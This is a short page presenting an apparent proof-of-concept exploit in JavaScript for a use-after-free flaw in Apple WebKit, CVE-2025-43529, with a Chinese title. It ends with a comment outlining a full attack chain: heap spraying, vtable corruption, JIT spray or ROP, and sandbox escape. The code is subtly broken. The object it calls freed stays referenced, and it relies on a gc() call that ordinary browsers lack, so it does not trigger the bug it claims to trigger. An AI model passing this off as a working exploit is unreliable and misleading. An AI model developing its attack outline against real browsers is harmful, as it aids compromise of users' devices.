CVE-2025-43529 Apple WebKit use-after-free远程代码执行漏洞

// CVE-2025-43529 PoC - Use-After-Free in WebKit // Note: This is a simplified conceptual PoC for educational purposes function triggerUseAfterFree() { // Create objects to manipulate garbage collector let objects = []; for (let i = 0; i < 100; i++) { objects.push(new ArrayBuffer(1024)); } // Create target object that will be freed let target = {value: 0x41414141}; // Create multiple references to keep objects alive let refs = []; for (let i = 0; i < 50; i++) { refs.push({obj: target, idx: i}); } // Force garbage collection at specific moment gc(); // Trigger object reuse through aggressive allocation let spray = []; for (let i = 0; i < 10000; i++) { spray.push(new Uint8Array(256)); } // Access freed memory through dangling reference // In real exploit, this would lead to arbitrary code execution console.log('Target value after GC:', refs[0].obj.value); } // Trigger the vulnerability triggerUseAfterFree(); /* Actual exploitation requires: 1. Precise heap spraying to control freed memory layout 2. Use-after-free to corrupt object vtable 3. JIT spray or ROP chain to achieve code execution 4. Sandbox escape for full system compromise */